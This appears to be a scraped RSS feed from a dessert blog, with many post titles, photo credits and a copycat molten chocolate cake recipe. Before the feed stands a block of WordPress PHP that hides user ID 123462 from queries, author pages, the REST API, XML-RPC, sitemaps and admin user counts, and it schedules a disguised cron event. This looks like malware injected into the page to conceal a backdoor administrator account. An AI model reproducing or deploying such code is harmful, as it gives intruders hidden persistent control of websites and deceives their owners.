add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

The post Peanut Butter Cup Cake Roll first appeared on Damn That Looks Good.
]]>
The post German Chocolate Cake first appeared on Damn That Looks Good.
]]>
The post Mocha Toffee Crunch Cake first appeared on Damn That Looks Good.
]]>
The post Caramel Filled Molten Chocolate Cake first appeared on Damn That Looks Good.
]]>
The post Malted Chocolate Smores Cake first appeared on Damn That Looks Good.
]]>The post Red Velvet Bundt Cake first appeared on Damn That Looks Good.
]]>
Photo courtesy of Sprinkle Bakes.
The post Red Velvet Bundt Cake first appeared on Damn That Looks Good.
]]>
The post Cookie Dough Cupcakes first appeared on Damn That Looks Good.
]]>
The post The Dirt Cake first appeared on Damn That Looks Good.
]]>
The post Loaded S'mores Cupcake first appeared on Damn That Looks Good.
]]>The post Peppermint Patty Gooey Cake Bars first appeared on Damn That Looks Good.
]]>
Photo courtesy of Inside BruCrew Life.
The post Peppermint Patty Gooey Cake Bars first appeared on Damn That Looks Good.
]]>The post Brownie-Bottom Coconut Chocolate Cream Cake first appeared on Damn That Looks Good.
]]>
Photo courtesy of Willow Bird Baking.
The post Brownie-Bottom Coconut Chocolate Cream Cake first appeared on Damn That Looks Good.
]]>The post Oreo Cheesecake Pretzel Bites first appeared on Damn That Looks Good.
]]>
Photo courtesy of Sally’s Baking Addiction.
The post Oreo Cheesecake Pretzel Bites first appeared on Damn That Looks Good.
]]>The post Marbled Cupcakes With Nutella first appeared on Damn That Looks Good.
]]>
Photo courtesy of La Petite Brioche.
The post Marbled Cupcakes With Nutella first appeared on Damn That Looks Good.
]]>
The post Happy Turkey Day! first appeared on Damn That Looks Good.
]]>
The post Halloween Treats: Wormy Brownies first appeared on Damn That Looks Good.
]]>
The post Mint Chocolate Oreo Cupcake first appeared on Damn That Looks Good.
]]>The post Red Velvet S'mores Bars first appeared on Damn That Looks Good.
]]>
Photo courtesy of How Sweet It Is.
The post Red Velvet S'mores Bars first appeared on Damn That Looks Good.
]]>The post Oreo Hostess Cupcakes first appeared on Damn That Looks Good.
]]>
Photo courtesy of Your Cup Of Cake.
The post Oreo Hostess Cupcakes first appeared on Damn That Looks Good.
]]>The post Cookie Dough Filled Chocolate Bread first appeared on Damn That Looks Good.
]]>
Photo courtesy of What Katie’s Baking.
The post Cookie Dough Filled Chocolate Bread first appeared on Damn That Looks Good.
]]>The post Banana Split Ice Cream Cake first appeared on Damn That Looks Good.
]]>
Photo courtesy of Brown Eyed Baker.
The post Banana Split Ice Cream Cake first appeared on Damn That Looks Good.
]]>The post Secret Recipes: Molten Chocolate Cake From Chili's first appeared on Damn That Looks Good.
]]>
Ingredients:
For the Cakes:
6 tablespoons unsalted butter (2 tablespoons melted, 4 tablespoons at room temperature)
1/2 cup natural (not Dutch-process) cocoa powder, plus more for dusting
1 1/3 cups all-purpose flour
1 teaspoon baking soda
1/2 teaspoon baking powder
1/2 teaspoon salt
3 tablespoons milk
1/4 cup vegetable oil
1 1/3 cups sugar
1 1/2 teaspoons vanilla extract
2 large eggs, at room temperature
For the Fillings and Toppings:
• 8 ounces bittersweet chocolate, finely chopped
• 1/2 cup heavy cream
• 4 tablespoons unsalted butter
• 1 tablespoon light corn syrup
• Caramel sauce, for drizzling
• 1 pint vanilla ice cream
Directions:
Preheat the oven to 350 degrees F. Make the cakes: Brush four 1 1/4-cup brioche molds (or use 10-ounce ramekins or jumbo muffin cups) with the 2 tablespoons melted butter. Dust the molds with cocoa powder and tap out the excess.
Whisk the flour, baking soda, baking powder and salt in a small bowl. Bring the milk and 3/4 cup water to a simmer in a saucepan over medium heat; set aside.
Combine the vegetable oil, 4 tablespoons room-temperature butter and the sugar in a stand mixer and beat with the paddle attachment on medium-high speed until fluffy, about 4 minutes, scraping down the bowl and beater as needed. Add 1/2 cup cocoa powder and the vanilla; beat 1 minute on medium speed. Scrape down the bowl. Add 1 egg and beat 1 minute on medium-low speed, then add the remaining egg and beat 1 more minute.
With the mixer on low speed, gradually beat in the flour mixture, then the hot milk mixture. Finish mixing the batter with a rubber spatula until combined. Divide the batter evenly among the molds, filling each slightly more than three-quarters of the way.
Transfer the molds to a baking sheet and bake until the tops of the cakes are domed and the centers are just barely set, 25 to 30 minutes. Transfer the baking sheet to a rack; let the cakes cool until they pull away from the molds, about 30 minutes.
How To Assemble the Cake:
Make the Filling: Microwave the chocolate, cream, butter and corn syrup in a microwave-safe bowl in 30-second intervals, stirring each time, until the chocolate starts to melt, 1 minute, 30 seconds. Let sit 3 minutes, then whisk until smooth. Reheat before using, if necessary.
Use the tip of a paring knife to gently loosen the cakes from the molds, then invert the cakes onto a cutting board.
Use the knife to cut a 1 1/2-inch circle on the top of each cake, cutting almost to the bottom.
Hollow out the cake with a spoon; save the scraps. Wrap the cakes with plastic wrap and microwave until steaming, 1 minute.
Drizzle plates with caramel, then unwrap the cakes and place on top. Pour about 3 tablespoons filling into each cake.
Plug the hole with a cake scrap. Save or discard any remaining scraps.
Top each cake with a scoop of ice cream. Spoon more chocolate sauce on top, spreading it thin so it hardens into a shell.
The post Secret Recipes: Molten Chocolate Cake From Chili's first appeared on Damn That Looks Good.
]]>The post Deep Chocolate Dessert Bars first appeared on Damn That Looks Good.
]]>
Photo courtesy of Gourmet Girl Cooks.
The post Deep Chocolate Dessert Bars first appeared on Damn That Looks Good.
]]>The post Chocolate Turtle Cake first appeared on Damn That Looks Good.
]]>
Click here to get the recipe!
Photo & recipe courtesy of Betty Crocker.
The post Chocolate Turtle Cake first appeared on Damn That Looks Good.
]]>The post Peanut Butter Cup Brownies first appeared on Damn That Looks Good.
]]>
Thanks to Susanna for the photo!
The post Peanut Butter Cup Brownies first appeared on Damn That Looks Good.
]]>
The post Chocolate & Peanut Butter Cupcakes first appeared on Damn That Looks Good.
]]>The post Boozy Bourbon Chocolate Cupcakes first appeared on Damn That Looks Good.
]]>
Click here to get the recipe!
Photo & recipe courtesy of Betty Crocker.
The post Boozy Bourbon Chocolate Cupcakes first appeared on Damn That Looks Good.
]]>The post Deep Fried Ho-Hos & Cupcakes From Joe's first appeared on Damn That Looks Good.
]]>
Served with vanilla bean cream, chopped strawberries and chocolate sauce.
Photo courtesy of Papakaster Eatin.
Fullerton, California
The post Deep Fried Ho-Hos & Cupcakes From Joe's first appeared on Damn That Looks Good.
]]>
The post Chocolate Strawberry Shortcake first appeared on Damn That Looks Good.
]]>
The post Chocolate Cupcakes With Salted Caramel first appeared on Damn That Looks Good.
]]>The post S'mores Cake first appeared on Damn That Looks Good.
]]>
Two layers of chocolate cake with marshmallow creme in-between, chocolate buttercream, and graham cracker crumbs.
Thanks to Bees for the photo!
The post S'mores Cake first appeared on Damn That Looks Good.
]]>The post Chocolate Decadence Cake first appeared on Damn That Looks Good.
]]>
Check out the recipe at The New Chef’s Journal.
The post Chocolate Decadence Cake first appeared on Damn That Looks Good.
]]>The post Chocolate, Peanut Butter, & Butterscotch Brownies first appeared on Damn That Looks Good.
]]>
Check out the recipe at The Southern Lady Cooks.
The post Chocolate, Peanut Butter, & Butterscotch Brownies first appeared on Damn That Looks Good.
]]>The post Chocolate Cookie Cheesecake first appeared on Damn That Looks Good.
]]>
Thanks to Maria for the photo!
The post Chocolate Cookie Cheesecake first appeared on Damn That Looks Good.
]]>The post Banana Coco Monkey first appeared on Damn That Looks Good.
]]>
Banana cake and chocolate cake layered cupcakes with banana creme filling and then garnished with chocolate icing and banana chips.
The post Banana Coco Monkey first appeared on Damn That Looks Good.
]]>The post Hershey’s Cupcake From Reedley College first appeared on Damn That Looks Good.
]]>
Reedley, California
The post Hershey’s Cupcake From Reedley College first appeared on Damn That Looks Good.
]]>
The post Oreo Cupcake With Milk Dipping Apparatus first appeared on Damn That Looks Good.
]]>The post The Great Trifecta Birthday Cake first appeared on Damn That Looks Good.
]]>
“A birthday cake consisting of chocolate cake, Nutella, vanilla cake, cream cheese frosting, strawberry cake, strawberry glaze and fresh chopped strawberries.”
Thanks to Bailee for the photo!
The post The Great Trifecta Birthday Cake first appeared on Damn That Looks Good.
]]>
The post Reese's Cake first appeared on Damn That Looks Good.
]]>The post Death By Chocolate Cake From The Trellis first appeared on Damn That Looks Good.
]]>
Williamsburg, Virginia
Thanks to Brittany for the photo.
The post Death By Chocolate Cake From The Trellis first appeared on Damn That Looks Good.
]]>The post Chocolate Lava Cake first appeared on Damn That Looks Good.
]]>
Photo courtesy of Happy Hints.
The post Chocolate Lava Cake first appeared on Damn That Looks Good.
]]>The post Chocolate Cake From Bar Charlie first appeared on Damn That Looks Good.
]]>
Dark chocolate cake, banana sorbet, chai foam, and banana tuile. Pairing: chocolate milk with frozen banana. Image courtesy of Ed Fisher.
The post Chocolate Cake From Bar Charlie first appeared on Damn That Looks Good.
]]>